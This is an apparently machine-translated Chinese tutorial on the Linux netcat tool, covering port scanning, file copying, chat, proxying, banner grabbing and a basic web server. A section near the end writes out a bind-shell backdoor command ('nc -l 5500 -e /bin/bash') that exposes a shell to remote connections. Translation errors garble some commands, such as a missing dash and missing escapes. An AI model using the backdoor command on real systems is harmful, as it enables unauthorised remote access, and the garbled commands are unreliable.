Linux 中的 Netcat 命令——完整指南

数控 或者 Netcat 命令是 Linux 中的网络命令行工具。 它的工作方式类似于端口扫描工具、安全工具或网络监控工具。 它是系统管理员需要了解的重要实用程序,通常被称为网络工具的瑞士军刀。

netcat 命令可用于以下操作:

  • 端口扫描
  • 通过服务器复制文件
  • 创建命令行聊天服务器
  • 转发端口
  • 创建代理服务器
  • 从远程机器中提取横幅信息
  • 托管 Web 服务器
  • 创建后门

安装 Netcat 命令

首先,在大多数 ubuntu 系统中, 网猫 可作为安装包提供,但如果不是,您可以使用以下命令下载它:

$ yum install nc                  [On CentOS/RHEL]
$ dnf install nc                  [On Fedora 22+ and RHEL8]
$ sudo apt-get install Netcat     [On Debian/Ubuntu]

运作模式

使用 nectat 有两种操作模式,作为客户端或作为服务器。

两种模式的语法可以表示为:

连接到某个地方:(客户端)

 nc [-options] [hostname] [ports] 

监听入站:(服务器)

nc –l –p port [options] [hostname] [port]

当使用 Netcat 连接某些东西时,即使用两者中的前者。 当您使用您的机器从另一台机器获取一些信息时,您实际上是在客户端模式下工作。

当使用 Netcat 监听入站连接时,机器充当服务器。 这 -l 代表聆听。

使用 Netcat 扫描端口

的最基本和最常见的用途之一 网猫 是确定哪些端口是开放的。 端口扫描使用了三个主要标志:

-z使 nc 能够扫描监听守护进程,而不向它们发送任何数据
-v启用详细模式
-w在需要指定超时条件时使用

指定监听端口的三种方式:

监听单端口:

$ nc -v -w 2 z 127.0.0.1 20

监听多个端口:

$ nc -v -w 2 z 127.0.0.1 20 25 30

监听一系列端口:

$ nc -v -w 2 z 127.0.0.1 20-25 
监听多个端口

在 Linux 中使用 Netcat 命令复制文件

netcat 命令 可用于将文件从一个系统传输到另一个系统,即使它已过时 ssh/scp。 这可以通过使用以下命令来完成。

这是通过将文件信息从源机器通过通道发送到接收机器来实现的。 接收机器以侦听模式运行,并通过特定端口侦听数据。 发送机器通过与接收方建立连接来发送数据。 这使用 Netcat 构建了一个服务器-客户端模型。

重定向运算符 < , > 用于写入和写入文件。

在监听机(目的地)上:

$ nc -l  8080 > file.txt

在发送机器上(来源):

$ nc 192.168.1.100 8080 < data.txt

如果您不提及文件和重定向运算符,那么相同的命令将用作聊天模型。 我们接下来会看到:

使用 NC 的命令行聊天服务器

网猫 可以用来制作一个基本的命令行聊天服务器,两个系统都可以使用它在命令行中聊天。

在其中一台服务器上运行命令:

$ nc -l 8080

在远程机器上使用以下命令进行连接:

$ nc 127.0.0.1 8080

这将建立连接,并且在一个终端上写入的任何内容都将显示在另一个终端上。

这将双向工作。

运行终端的两个实例并在两者之间创建一个聊天服务器:

通过 Netcat 聊天
netcat 命令通过 Netcat 聊天

将连接模式更改为 UDP

Netcat 中的默认连接模式是 TCP,但可以选择另一种连接模式,称为 UDP。

这可以通过使用’-u‘ Netcat 命令中的选项。

*TCP 代表传输控制协议,而 UDP 代表用户定义的数据报。

$ nc -l -u 55
UDPUDP

这连接到 55 UDP 端口。 我们可以看到连接类型是 UDP 而不是 TCP 通过使用 ‘-v’ 选项:

UDP验证UDP验证

您可以通过在聊天服务器中使用 -u 来使用它来创建 UDP 聊天服务器 example 多于。 唯一的区别是现在将使用 UDP 协议而不是 TCP 进行交换。

抓取横幅

Netcat 也可用于从远程系统获取横幅信息。

这可以通过连接到 Web 地址的 80 端口,然后发送一个 头/HTTP/1.0 或者 头/HTTP/1.1

您还可以使用 CONNECT、DELETE、DEBUG、OPTIONS、GET 代替 HEAD。

$ nc [source name] 80
HEAD / HTTP/ 1.1 

写完第二行后,输入几次。

截图 2020 06 02 在 11.23.36 PM使用 HEAD/HTTP 抓取横幅
截图 2020 06 02 在 11.24.07 PM使用 OPTIONS /HTTP 抓取横幅
截图 2020 06 02 11.34.12 PM使用 GET / HTTP 抓取横幅

使用 Netcat 作为代理服务器

要创建代理服务器,我们需要创建一个能够发送和接收信息的通道。 仅仅重定向传入的连接将创建一个只能以一种方式工作的服务器。 在这种情况下,响应将被丢弃。

创建服务器的命令是:

$ nc -l 8080 | nc 192.168.1.200 80

为了使这两种方式我们使用:

$ mkfifo 2wayPipe
$ nc -l 8080 0<2wayPipe | nc 192.168.1.200 80 1>2wayPipe

linux 中的 mkfifo 命令用于创建管道。 管道本质上是先进先出(fifo),主要帮助linux中的两个进程进行通信。

2wayPipe 是我们任意选择的管道名称。

这提供了通过网络发送和接收信息的能力 网猫 代理服务器。

创建基本 Web 服务器

假设您要托管一个基本的 HTML 文件。 该文件在您的系统上名为 index.html。 然后就可以使用下面的命令创建一个 本地 Netcat 服务器 并托管 HTML 文件。 我们将在 shell 脚本中使用 while 循环来确保服务器继续侦听端口 8080 并为每个请求提供我们的 index.html 页面。

$ while : ; do (echo -ne "HTTP/1.1 200 OKrn"; cat index.html;) | nc -l -p 8080 ; done

使用没有终止条件的 while 循环使服务器能够运行直到手动终止,除非手动终止。 可以通过键入查看网页 https://localhost:8080 在浏览器窗口中。

在 IPV6 和 IPV4 之间切换

如果您需要连接特定版本的 IP,您可以使用以下命令标签之一来执行此操作。

-4仅允许 IPV4 地址
-6仅允许 IPV6 地址

为了 example,在我们上面的命令行聊天模型中,我们可以使用这些标志之一连接到 IPv4 或 IPv6,如下所示。

对于 IPV4:

$ nc -4 -l 8080
$ nc -4 192.168.1.100 8080

对于 IPV6:

$ nc -6 -l 8080
$ nc -6 192.168.1.100 8080

使用Netcat创建系统后门

网猫 用于在您的系统中创建后门,这是黑客经常使用的一种非常流行的方法。 黑客可以使用后门绕过系统的常规安全机制来访问您的系统。 这利用 -e 可用的选项 网猫 命令。 -e 命令在 Netcat 中用于在客户端连接到它时执行指定的程序。

这个命令是:

$ nc -l 5500 -e /bin/bash

这会将端口 5500 连接到您的 bin/bash 远程机器可以通过键入以下命令访问它以执行命令:

$ nc 10.10.10.100 5500

断线后继续收听

当使用 Netcat 设置服务器时,即使从客户端断开连接也会导致服务器终止。 为了防止这种情况,我们使用 -k 无论与客户端的连接如何,都会强制服务器保持正常运行的标志。

$ nc -k -l 8080

这确保即使在客户端断开连接后服务器仍在运行。

结论

netcat 命令是一个非常广泛的实用程序,上面演示的用途只是 netcat 命令可以做的事情的沧海一粟。 您可以在他们的网站上了解有关该命令的更多信息 维基百科页面 或者 手册页.